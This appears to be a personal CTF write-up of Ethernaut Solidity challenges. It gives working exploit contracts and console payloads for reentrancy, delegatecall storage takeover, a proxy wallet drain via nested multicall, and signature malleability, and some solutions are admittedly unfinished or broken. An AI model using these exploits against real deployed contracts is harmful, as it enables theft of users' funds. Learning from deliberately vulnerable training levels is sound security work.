Published on

Ethernaut Writeups

Authors
  • avatar
    Name
    Jayden Koh
    Twitter

Description

I solved a large portion of the CTF challenges avaliable on Ethernaut. The challenges were solved using Remix on the Sepolia testnet. From solving these challenges I learned a lot about Ethereum delegations, proxies, decentralize exchanges, the EVM, ERC Tokens, and much, much more.

Each challenge can consist of two components, one from the brower's console labeled From Console and another from the Remix IDE labeled From Remix. The console portion uses web3.js or ethers.js to interact with the deployed contract while Remix is use to deploy additional contracts.

Hello Ethernaut (00)

From Console:

contract.abi // shows all the abi components 
await contract.password() // password is stored publicly
contract.authenticate(contract.password()) // send password

Fallback (01)

See that owner can only be modified from constructor, contribute, and receive. contribute isn't feasible because that would take too many transactions. receive requires a payable amount and contribute to have been previously called.

From Console:

contract.contribute({value : web3.utils.toWei("0.0001", "ether")})
web3.eth.sendTransaction({from : player, to : contract.address, value: web3.utils.toWei("0.0003", "ether")})
await contract.owner() // check if owner changed
contract.withdraw()

Fallout (02)

Constructor is improperly defined.

From Console:

contract.fal1out() // improperly defined constructor
contract.withdraw()

Coin Flip (03)

From Console:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlipWallet {
    function flip(bool _guess) external returns (bool);
}


contract CoinFlipAttacker {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    function attack(address walletAddress) public {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        ICoinFlipWallet(walletAddress).flip(side);
        
    }

Telephone (04)

tx.origin is the initiator of the transaction, msg.sender is the caller of the function. Create an intermediary contract that calls vulnerable contract making tx.origin different from msg.sender.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "contracts/src/levels/Telephone.sol";
contract TelephoneController {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function attack(Telephone vulnTelephone) public {
        vulnTelephone.changeOwner(owner);
    }
}

From Remix:

attack(`contract.address`)

Token (05)

Before 0.8.0, math will overflow and underflow without warning if a SafeMath wrapper isn't used.

From Console:

contract.transfer({from : player, to : 	0x0000000000000000000000000000000000000000, amount : 21})

Delegation (06)

A delegatecall modifies the context of the calling contract, not the callee. The storage slots from the caller is changed when callee tries to modify anything.

From Console:

calldata = web3.utils.keccak256("pwn()").substring(0,10)
web3.eth.sendTransaction({from : player, to : contract.address, data : calldata})

Force (07)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SuicideForcer{
    function bomb(address forcee) public payable {
        selfdestruct(payable(forcee));
    }
    receive() external payable {
    }
}

From Console:

web3.eth.sendTransaction({from: player, to: "0x3fa306558B409A8Fa844762498d4fdE13D93e8eB", value: web3.utils.toWei("0.00001", "ether")})

From Remix:

bomb(0x86C7Aa5048Ae2aBbbc4538F7E1E8582d1286515d)

Even if the function isn't payable selfdestruct will forcefully send Ether to that account, but the contract may or may not actually cease to exist depending on Solidity version.

Vault (08)

The password is passed an input to the constructor meaning the password is stored on the blockchain as a plaintext parameter.

Internal TX -> ADVANCED MODE -> Input -> Hex String to UTF-8 -> End of ABI

King (09)

As long as this line fails then the level can't reclaim kingship

payable(king).transfer(msg.value);

From Remix

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract KingAttack {

    constructor (address payable kingAddress_) payable  {
        (bool success , ) = kingAddress_.call{value : address(this).balance}("");
        success = success;
    }
    
    receive() external payable { 
        revert();
    }
}

Make it such that the payable king can't receive ether causing kingship transfer to fail. Note, I tried using selfdestruct but that didn't work and the transfer function is deprecated in favor of call{value : amt}.

Reentrancy (10)

From Remix

contract Attacker{
    Reentrance vulnerableAddress;
    function attack(address vulnerableAddress_) public payable {
        vulnerableAddress = Reentrance(payable(vulnerableAddress_));
        vulnerableAddress.donate{value : msg.value}(address(this));
        vulnerableAddress.withdraw(msg.value);
    }
    receive() external payable{
        uint256 remaining_balance = vulnerableAddress.balanceOf(address(this));
        if (remaining_balance > 0){
            vulnerableAddress.withdraw(remaining_balance);
        }
    }
}

Deploy and call attack with any amount of Eth and address of vulnerable reentrance. Very standard reentrancy attack.

Elevator (11)

From Remix

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Building {
    bool public used;

    constructor(){
        used = false;
    }
    function isLastFloor(uint256 _floor) external returns (bool){
        if (!used){
            used = true;
            return false;
        }
        return true;
    }
    function attack(address vulnerableElevator) public {
        Elevator elevator = Elevator(vulnerableElevator);
        elevator.goTo(727);
    }
}

Deploy then attack the vulnerable elevator address because the function isLastFloor isn't view or pure which allows attacker to construct a Building contract that changes state variables that return different results on the same calldata. Another way is to use global variables like gasLeft to return different results.

Privacy (12)

Nothing is truly private on the blockchain, all storage data can be accessed through web3.eth.getStorageAt(addr, slot, console.log)

bool public locked = true; //1 byte, slot 0
uint256 public ID = block.timestamp; //32 bytes, slot 1
uint8 private flattening = 10; //1 byte, slot 2
uint8 private denomination = 255; //1 byte, slot 2
uint16 private awkwardness = uint16(block.timestamp); //2 bytes, slot 2
bytes32[3] private data; //3x32 bytes, slots 3-5 inclusive

Arrays are stored sequentially simply like how multiple elements would be.

From Console

private[0] = slot 3
private[1] = slot 4
private[2] = slot 5
await web3.eth.getStorageAt(contract.address, 5, console.log)
'0xcdd08b8563c41f9df518bd0fb7b447e2688c4b5f3c232d9a8073a0a73a1bfca6'.substr(0,16+2) //+2 for 0x
contract.unlock("0xcdd08b8563c41f9df518bd0fb7b447e2")

Gatekeeper One (13) FINISH ME

This contract is just a series of challenges. Firstly, the msg.sender != tx.origin so a contract is used to call it. Secondly, gasLeft() % 8191 == 0 so just find where the gasLeft() is called and how much gas it has, then calculate an offset. Alternatively, waste a lot of money and brute force all 8191 possibilities. Lastly, 3.1 wants the mask 0xFFFF FFFF 0000 FFFF, 3.2 wants the upper 4 bytes to not be 0, and 3.3 wants the last 2 bytes to be the last 2 bytes of tx.origin address.

From Remix

contract Attacker{

    function attack(address _targetAddress, bytes8 _gateKey) public {
        bool yay = GatekeeperOne(_targetAddress).enter{gas : 1+270+8191*10}(_gateKey);
    }
}
attack(contract, 0x123456780000ddc4)

Payload needs to have random first 4 bytes, 2 null bytes, then the last 2 bytes of the tx.origin address.

This should work but for some reason doesn't, when gas entered at 270+8191*10, gasLeft() in gateTwo returns 0x13ff5 which is 8191x + 8190. So we I just add 1 more to make it 1+270+8191*10 = 0x13ff6 it should be fine. However, this changes the gasLeft() to return 0x727b which is nowhere close to 0x13ff6. Otherwise, this level is very easy.

Gatekeeper Two (14)

Again, the contract cannot be called directly. The msg.sender cannot have any code. The XOR is trivial to reverse. This is a simple case of bypass contract size check by putting the function call inside of a constructor. The caller address is still the attacking contract but the size is 0, possibly because that contract hasn't fully been constructed yet.

[!note] This is the same opcode used in .isContract() meaning this function is also vulnerable. There is currently no foolproof of verifying if an address is a contract or not.

From Remix

contract Attacker {
    constructor(address addr) {
        bytes8 payload = generatePayload(address(this));
        GatekeeperTwo(addr).enter(payload);
        // bytes memory gateTwoSignature = abi.encodeWithSignature("enter(bytes8)",payload);
        // (bool success , ) = addr.delegatecall(abi.encodePacked(gateTwoSignature));
    }
    function generatePayload(address addr) public pure returns (bytes8){
        return bytes8(type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(address(addr))))));
    }
}

Naught Coin (15)

transfer is blocked so we need to use transerFrom to liquidate the tokens. This can easily be found through the ERC-20 specification.

From Console

contract.approve("[attacker_address]", "1000000000000000000000000")

From Remix

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract Attacker{
    address constant myAddress = ENTER_ADDRESS;
    constructor(){}

    function attack(address vulnerable) public {
        ERC20(vulnerable).transferFrom(myAddress, address(this), 1000000000000000000000000);
    }
}

After the attacker's address has been approved, call attack from Attacker.

Preservation (16)

Misuse of library contract without using the library keyword allows delegatecall to change state variables of caller. Create attacker contract with the same function signature as setTime(uint256), set timeZone1Library to attacker contract and call it with setFirstTime.

From Remix

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker{
    address public useless1;
    address public useless2;
    uint256 public pwn;
    function setTime(uint256 newAddr) public {
        pwn = newAddr;
    }
}

From Console

await contract.setSecondTime("0x0f118bED18a84dbf24076f8c164C91Eb76D998AE") // Attacker addr
await contract.setFirstTime('0x00000000000000000000000011B1323F8e602d6a9DC148E266D92b574CC79236') // Player addr
await contract.owner()
'0x11B1323F8e602d6a9DC148E266D92b574CC79236'

Recovery (17)

Note: Apparently the next contract address can be calculated with the nonce and msg.sender address but I can't replicate it. For this I simply called destroy on the contract that was created and used Etherscan.io to find the address of the SimpleToken contract.

From Remix

contract SimpleToken{...}
contract Attacker {
    constructor() {
    }
    function attack(address payable victim) external {
		SimpleToken(victim).destroy(payable(address(this)));
    }
}

Magic Number (18)

Attacking Contract

PUSH1 0x2a
PUSH1 0x00
MSTORE
PUSH1 0x20
PUSH1 0x00
RETURN
// 0x602a60005260206000f3

This is a function in EVM that unconditionally returns uint32(0x2A), when deployed as a contract any call to this contract returns uint32(0x2A). When the solver calls the attacking contract's function whatIsTheMagicNumber it will return 42.

Deploying Contract

From EVM

This is the EVM bytecode to deploy a bytecode contract. Think of this as a calling a "deployContract" function that inputs raw bytecode. We use this to deploy the attacking contract.

PUSH10 0x602a60005260206000f3 // raw attacking bytecode data
PUSH1 0x00
MSTORE
PUSH1 0x0a // size of the raw byte
PUSH1 0x16 // offset of the bytecode in memory (0x20-0xA)
RETURN
// 0x69602a60005260206000f3600052600a6016f3

Equivalent Solidity code:

contract Deployer{
	constructor() {
		assembly{
			mstore(0, 0x602a60005260206000f3); // store attacking contract bytecode in memory
			return(0x16, 0x0a); // return only the 10 bytes of memory that contain the attacking contract
		}
	}
}

Put the Solidity code into EVM Playground, disassemble it, and extract the actual code that deploys the attacker contract, it is identical without the contract wrappers.

Memory looks something like this and only the last 0xA bytes should be returned from an offset of 0x16.

00000000000000000000000000000000000000000000602a60005260206000f3
............................................^0x16 byte

From Console

await ethereum.request({method: 'eth_sendTransaction',params:[{
	    from : player,
	    data : '0x69602a60005260206000f3600052600a6016f3'
	}]
})

Sending an Ethereum request with no destination (NULL) is the same as creating a contract. This is NOT the same as sending data to 0x0..0.

Alternatively, the equivalent Solidity code with inline Yul can achieved the same effect. In summary, the Solidity code deploys contract with Yul instructions to deploy the attacking contract. The attacking contract written in bytecode can then be used as the address of vulnerability.

Alien Codex (19)

This contract is vulnerable to an arbitrary dynamic array allocation increase which combined with lack of arithmetic overflow checking results in the dynamic array being about to access/modify any slot of storage with the revise function.

From Console

await web3.eth.getStorageAt(contract.address, 0, console.log)
'0x0000000000000000000000000bc04aa6aac163a6b3667636d798fa053d43bd11'
`000000000000000000000000`: contact = false
`0bc04aa6aac163a6b3667636d798fa053d43bd11`: owner

The bool contact is packed with owner from isOwnable in slot 0.

await web3.eth.getStorageAt(contract.address, 1, console.log)
'0x0000000000000000000000000000000000000000000000000000000000000000'

The size of codex is stored in slot 1.

await web3.utils.soliditySha3({type : "uint256", value : 1})
'0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7'

await web3.eth.getStorageAt(contract.address, web3.utils.soliditySha3({type : "uint256", value : 1}), console.log)
'0x11b1323f8e602d6a9dc148e266d92b574cc79236000000000000000000000000'

The values of the dynamic array codex are stored starting from its keccak256 and sequentially incremented. Here an address has already been modified at codex[0] using revise().

>>> hex(int('1'+'0'*64,16) - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7)
'0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f309'

Find the index of codex that corresponds with storage[slot0].

Pwn Script
contract.retract() // not sure is this is exactly necessary
contract.revise("0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a", "0x00000000000000000000001011B1323F8e602d6a9DC148E266D92b574CC79236")

Denial (20)

From Remix

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {...}

contract Attacker {
    Denial vulnerableDenial;
    constructor (address payable vulnerableDenial_) {
        vulnerableDenial = Denial(vulnerableDenial_);
    }
    receive () external payable{
        vulnerableDenial.withdraw();
    }
}

The withdrawal function needs to fail and it can only be at partner.call{value: amountToSend}(""); and payable(owner).transfer(amountToSend);. .call can't fail because it doesn't include (bool success, ) = so even if the transfer is reverted it doesn't propagate up and the failure remains unnoticed. The .transfer can fail when it runs out of gas which is what happens when too many function calls are made. We can max it out by having the attacking contract recursively call the withdrawal function from the vulnerable contract forcing the gas to deplete.

Shop (21)

From Remix

interface Buyer{...}
contract Shop{...}

contract Attacker {
    Shop shop;

    function price() external view returns (uint256) {
        if (!shop.isSold()) {
            return 101;
        } else {
            return 99;
        }
    }

    function attack(address vulnerableShop) public {
        shop = Shop(vulnerableShop);
        shop.buy();
    }
}

Because the attacker contract can't change its own state variables, it relies the vulnerable shop to change a state variable it has indirect control over, in this case isSold which is changed before price is checked again.

Dex (22)

await contract.approve(contract.address, 500)
await contract.swap(await contract.token1(), await contract.token2(),10)
await contract.swap(await contract.token2(), await contract.token1(),20)
await contract.swap(await contract.token1(), await contract.token2(),24)
await contract.swap(await contract.token2(), await contract.token1(),30)
await contract.swap(await contract.token1(), await contract.token2(),41)
await contract.swap(await contract.token2(), await contract.token1(),45)

// 10, 10 10T1 -> 10T2  110, 90
// 0, 20  20T2 -> 24T1  86, 110
// 24, 0  24T1 -> 30T2  110, 80
// 0, 30  30T2 -> 41T1  69, 110
// 41, 0  41T1 -> 65T2  110, 45
// 0, 65  45T2 -> 110T1 0, 90

Dex Two (23)

  1. Deploy another ERC20 to "Fake Ass Token", mint with 1000.
  2. transfer(player, 3), check balanceOf(player)
  3. transfer(DEX, 3), check balanceOf(DEX)
  4. approve(Player, DEX, 3), check allowance(player, DEX)
await contract.swap(FakeAssToken, await contract.token1(), 1)
await contract.balanceOf(await contract.token1(), contract.address)
>> 0
>> await contract.swap(FakeAssToken, await contract.token2(), 2)
await contract.balanceOf(await contract.token2(), contract.address)
>> 0

Puzzle Wallet (24)

[!tip] Calling the wallet directly for any reason is useless because state is stored on the proxy!!! To use the wallet functions just input the parameters into the wallet and copy the calldata, then directly call the proxy through the fallback function.

[!bug] Web3JS function calls don't work through Ethernaut CLI for some reason.

Vulnerability:

pendingAdmin is the same slot as owner. admin is the same slot as maxBalance.

Set pendingAdmin to player to become owner. Add arbitrary contracts to whitelist.

Change maxBalance to become admin. setMaxBalance requires address(this).balance == 0, aka the proxy balance is 0.

Use execute to drain the wallet. Double deposit with multicall to add .002 ETH to balances[player] while only adding .001 ETH of value. Use execute to drain added .001 ETH with the original .001 ETH.

[!note] In my implementation I had to add .002 ETH because I deposited .001 ETH already.

Find the implementation contract address:

//keccak256("eip1967.proxy.implementation") - 1
const implementationSlot = "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"; 
await web3.eth.getStorageAt(proxyAddress, implementationSlot)

'0x000000000000000000000000df920bcbc3d9fdfa9e6d0d738c8996af17a51f49'

Or just use Etherscan

Remix

  1. Set pending Admin to attacker address, overwriting owner
proposeNewAdmin(player)
pendingAdmin >>> player
  1. addToWhitelist player address
Raw Calldata the goes through Proxy:
0xe43252d700000000000000000000000011b1323f8e602d6a9dc148e266d92b574cc79236

// Check player whitelisted, 1 means true
await web3.utils.soliditySha3({type : "uint", value :  "0x11B1323F8e602d6a9DC148E266D92b574CC79236"}, {type : "uint", value : 2})
'0x744c094746ae873a70969514d1b40211a31e13d1c82c76f98681926097741edf'
await web3.eth.getStorageAt(contract.address, "0x744c094746ae873a70969514d1b40211a31e13d1c82c76f98681926097741edf", console.log)
'0x0000000000000000000000000000000000000000000000000000000000000001'
  1. Draining the wallet:

  2. Multicall

    1. Call 1: Deposit
    2. Call 2: Inner Multicall
      1. Call 1: Deposit This bypasses the deposit check by calling multicall again.

Multicall Payload:

0xac9650d800000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004d0e30db00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4ac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0xac9650d8                                                       // Multicall Sig
0000000000000000000000000000000000000000000000000000000000000020 // Offset to data array
0000000000000000000000000000000000000000000000000000000000000002 // Length of data array 
0000000000000000000000000000000000000000000000000000000000000040 // Offset to Call 1
0000000000000000000000000000000000000000000000000000000000000080 // Offset to Call 2

0000000000000000000000000000000000000000000000000000000000000004 // Length of Call 1 data
d0e30db0                                                         // Deposit Sig
00000000000000000000000000000000000000000000000000000000         // Padding for Selector

0000000000000000000000000000000000000000000000000000000000000044 // Length of Call 2 data
ac9650d8                                                         // Multicall Sig
0000000000000000000000000000000000000000000000000000000000000020 // Offset to inner data array
0000000000000000000000000000000000000000000000000000000000000001 // Length of inner data array (1 element)
0000000000000000000000000000000000000000000000000000000000000020 // Offset to Inner Element 1
0000000000000000000000000000000000000000000000000000000000000004 // Length of Inner Element 1 data
d0e30db0                                                         // Deposit Sig
00000000000000000000000000000000000000000000000000000000         // Padding for Selector
Multicall Sig
Offset Array
Length Array
Offset Call 1
Offset Call 2
	Length Call 1 Data
	Function Sig
	Padding for Selector
	
	Length Call 2 Data
	Multicall Sig
	Offset Array
	Length Array
	Offset Call 1
		Length Call 1
		Function Sig
		Padding for Selector

Generating calldata:

contract CallDataBuilder{
    function craft(address addr) public pure returns(bytes memory){
        PuzzleWallet wallet = PuzzleWallet(addr);
        bytes[] memory depositSelector = new bytes[](1);
        depositSelector[0] = abi.encodeWithSelector(wallet.deposit.selector);
        bytes[] memory nestedMulticall = new bytes[](2);
        nestedMulticall[0] = abi.encodeWithSelector(wallet.deposit.selector);
        nestedMulticall[1] = abi.encodeWithSelector(wallet.multicall.selector, depositSelector);
        bytes memory raw_calldata = abi.encodeWithSelector(wallet.multicall.selector, nestedMulticall);
        
        return raw_calldata;
    }
}

Wallet is now drained, setMaxBalance can now be called!

Raw calldata that goes through proxy:
0x9d51d9b700000000000000000000000011b1323f8e602d6a9dc148e266d92b574cc79236

// Check admin is set
await web3.eth.getStorageAt(contract.address, 1, console.log)
'0x00000000000000000000000011b1323f8e602d6a9dc148e266d92b574cc79236'

Because the only way to execute logic functions is through the proxy, everything must be called using calldata.

Shortcuts:
// Add to Whitelist
0xe43252d7000000000000000000000000Ab8483F64d9C6d1EcF9b849Ae677dD3315835cb2

// Check whitelisted status Web3JS
await web3.eth.getStorageAt(contract.address, await web3.utils.soliditySha3({type : "uint", value :  player}, {type : "uint", value : 2}), console.log)

// Check whitelisted status Remix CLI
web3.eth.getStorageAt(CONTRACT_ADDRESS, web3.utils.soliditySha3({type : "uint", value :  WHITELISTEE_ADDRESS}, {type : "uint", value : 2}), console.log)

// Check Owner
0x8da5cb5b

Motorbike (25) FINISH ME No longer Solvable?

Proxies Simple Proxy -> Transparent Proxy -> UUPS The actual instance is Motorbike. Upgrader is the level. Motorbike's _IMPLEMENTATION_SLOT is 0x44dbbc593297061151a95042d386c31be167a49f. Motorbike is the proxy contract and Engine is the logic contract.

Proxy
_delegate(address) 0xf13101e9
_getAddressSlot(bytes32) 0x991c37be

Logic
initialize() 0x8129fc1c
upgradeToAndCall(address,bytes) 0x4f1ef286
_authorizeUpgrade() 0xf3ec0198
_upgradeToAndCall(address,bytes) 0xba885381
_setImplementation(address) 0xbb913f41

Initializable
initializer() 0x9ce110d7
isConstructor() 0xc4cbfa44

The vulnerability lies in how upgradeToAndCall() works internally. Apart from changing the implementation address to a new one, it atomically executes any migration/initialization function using DELEGATECALL and the data passed along it. If the initialization function of the new implementation executes the SELFDESTRUCT opcode, the DELEGATECALL caller will be destroyed. Normally, this would cause the proxy to be destroyed, but we don’t worry about this because only the admin of the proxy can call upgradeToAndCall(). However, what would happen if somehow we managed to get the implementation contract to do an upgradeToAndCall() in its own context?

Wormhole Uninitialized Proxy

  1. Initialize Engine logic contract from EOA
  2. Deploy malicious contract which self destructs
  3. Upgrade To And Call another malicious logic contract
  4. During the Call phase, call the function that contains selfdestruct

I wasted so much time on this source, it got cooked because EIP-6780

DoubleEntryPoint (26) FINISH ME

Good Samaritan (27)

wallet.transferRemainder() transfers all the remaining money in 1 transaction so this is faster than requesting 10 coins at a time. wallet.donate10(msg.sender) needs to fail in order for that to happen. The only place that seems possible is in the Coin's transfer function, furthermore only this code is vulnerable to the arbitrary interface vulnerability, aka calls some random function signature.

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_);
            }

The caller of requestDonation() must be a contract that matches the interface INotifyable(dest_).notify(amount_) which must revert when called causing donate10 to revert causing transferRemainder() to be called.

However, because the attacking contract reverts it can't change any state variables that allow it to tracked whether the notify function has been called. Instead, it uses the amount to check if the remaining amount is being sent or only the 10 tokens.

Call Stack:

GoodSamaritan -> 
	(wallet.donate10() 
		-> coin.transfer(dest, 10) 
			-> INotifyable(dest).notify(amt) revert InsufficientBalance)
			amt = 10
	catch transferRemainder() 
		-> coin.transfer(dest, coin.balances[this]) 
			-> INotifyable(dest).notify(amt)
			amt != 10

From Remix

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.8.0/contracts/utils/Address.sol";

contract GoodSamaritan {...}
contract Coin {...}
contract Wallet {...}
interface INotifyable {...}

contract Attacker{
    error NotEnoughBalance();
    constructor() {}
    
    function attack(address addr) public {
        GoodSamaritan(addr).requestDonation();
    }
    function notify(uint256 amount) external {
        if (amount == 10){
            revert NotEnoughBalance();
        }
    }
}

Gatekeeper Three (28)

gateOne is easy, just set owner to the address of the attacking contract through construct0r. tx.origin is the EOA calling the attacking contract.

gateTwo is also easy, just call getAllowance(uint256 _password) to set allowedEntrance = true. The trick contract is called with createTrick(). Block timestamp is probably the same timestamp the attack is being executed. Additionally, the password is simply stored in storage slot 2 so it could be any private value.

gateThree just needs to have a balance of >.0001 ether and when sending value to owner = msg.sender reverts.

From Remix

contract Attacker {
    constructor() payable {}

    receive() external payable {
        revert();
    }

    function attack(address payable addr) public {
        GatekeeperThree target = GatekeeperThree(addr);
        target.construct0r();
        target.createTrick();
        target.getAllowance(block.timestamp);
        (bool success, ) = addr.call{value: 1000000000000001 wei}("");
        target.enter();
    }
}

Switch (29)

Calldata of: contract.flipSwitch(bytes4(keccak256("turnSwitchOff()"))) or equivalently contract.flipSwitch("0x20606e15"))

0x30c13ade
0000000000000000000000000000000000000000000000000000000000000020 0000000000000000000000000000000000000000000000000000000000000004 20606e1500000000000000000000000000000000000000000000000000000000

0x30c13ade is the method ID of flipSwitch(bytes) 0x20 is the location of the first dynamic data type bytes memory data 0x04 is the length of the dynamic data type bytes memory data 0x20606e15 is the data of bytes memory data

Since the address of the function call is hardcoded to be 68, 0x44, if the location is changed from 0x20 then the check can be bypassed. Note that in Solidity (and maybe Yul?), the offset is calculated with modifier ID while the location in memory is measured in bytes from the start of the arguments block.

0x30c13ade
0000000000000000000000000000000000000000000000000000000000000060 0000000000000000000000000000000000000000000000000000000000000000 20606e1500000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000004
76227e1200000000000000000000000000000000000000000000000000000000

This way data points to memory[0x60] instead of memory[0x20].

[!note] Note that hex(1234) (byte literal) is NOT the same of "0x1234" (string literal)

Impersonator

[!warning] Signature Maleability Vulnerability with ecrecover If you use ecrecover, be aware that a valid signature can be turned into a different valid signature without requiring knowledge of the corresponding private key. In the Homestead hard fork, this issue was fixed for transaction signatures (see EIP-2), but the ecrecover function remained unchanged.

This is usually not a problem unless you require signatures to be unique or use them to identify items. OpenZeppelin has an ECDSA helper library that you can use as a wrapper for ecrecover without this issue. Source

Curve order of secp256k1 is 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141. Source

Finding the complementary signature pair:

  1. Given (r, s) signature pair, find the curve order
  2. The complementary pair is (r, -s mod n)
  3. Double check the new s > n/2 Source

This contract is vulnerable to replay attacks because of the lack of nonces and ambiguous signature vulnerability.

From Console

await web3.eth.getStorageAt(contract.address, web3.utils.soliditySha3(2), console.log)
'0x0000000000000000000000004ba3fb7e96d53e7807ed098ab9b45a01d6310423'

Get address of lockers[0] or check Events on Etherscan.

Immutable variables and constants are stored in bytecode not in storage, the only way to access them is to use a getter function, view in Remix, or decompile Etherscan bytecode.

Get signature from NewLock Event, just guessing it's this event:

Topics
- 0 0xac736e2e9adaa5052dee435c356ab8fe44ca4c16de5337e6b528e771ac85e97b
- 1 0x0000000000000000000000005cac5ecc0cbed8224de53f1fe115006511472a24
0x000000000000000000000000000000000000000000000000000000000000053900000000000000000000000000000000000000000000000000000000678b31c0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000601932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9178489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2000000000000000000000000000000000000000000000000000000000000001b

Decode the r, s, and v values from the signature blob.

Deduced from: 
bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));

r: 0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91
s: 0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2
v: 0x000000000000000000000000000000000000000000000000000000000000001b

Calculating signature from r, s, v:

const abiEncoded = web3.eth.abi.encodeParameters(
    ["uint256", "uint256", "uint256"],
    ["0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91", "0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2", 0x1b]
);
// encode r, s, v with the correct ABI
web3.utils.keccak256(abiEncoded)
'0x83b834717b3fb753bb687a22001e686274948587272b07fa6e2186f1135c4454'
// get the hash of the signature

Check the signature is actually correct through storage:

web3.utils.soliditySha3({type : "uint", value :  '0x83b834717b3fb753bb687a22001e686274948587272b07fa6e2186f1135c4454'}, {type : "uint", value : 1})
'0x147bde0a2567be85cb4e72a4c2080cad302692a89b8b1e8633c847c8a775f6b7'
// get the mapping index of the signature, usedSignatures is in slot 1
await web3.eth.getStorageAt("0x5cac5ecc0cbed8224de53f1fe115006511472a24","0x147bde0a2567be85cb4e72a4c2080cad302692a89b8b1e8633c847c8a775f6b7",console.log)
'0x0000000000000000000000000000000000000000000000000000000000000001'
// get the actual value of usedSignatures[0x83b834717b3fb753bb687a22001e686274948587272b07fa6e2186f1135c4454]

Alternatively, just use Remix to call usedSignatures[...].

Calculate the complementary signature

>>> -0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2 % 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
61386255033295324479228690463930298567438841096413154552415886062180481335631
# calculate the complementary pair
>>> 61386255033295324479228690463930298567438841096413154552415886062180481335631 >= (0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141/2)
True
# verify it is different
>>> hex(61386255033295324479228690463930298567438841096413154552415886062180481335631)
'0x87b7639b5f24e93bf106794133370f950d5e9b00f5b5c8cbd866a487529b814f'

New signature:

r: 0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91
s: 0x87b7639b5f24e93bf106794133370f950d5e9b00f5b5c8cbd866a487529b814f
v: 0x000000000000000000000000000000000000000000000000000000000000001c

Change the new contract to the 0 address which is what ecrecover returns when the signature is invalid instead of throwing an error. Now everyone with an invalid signature can pass the signature verification.

Key Contracts

2022: Gatekeeper Three (28) Switch (29) 2024: HigherOrder (30) Stake (31) Impersonator (32) Magic Animal Carousel (33)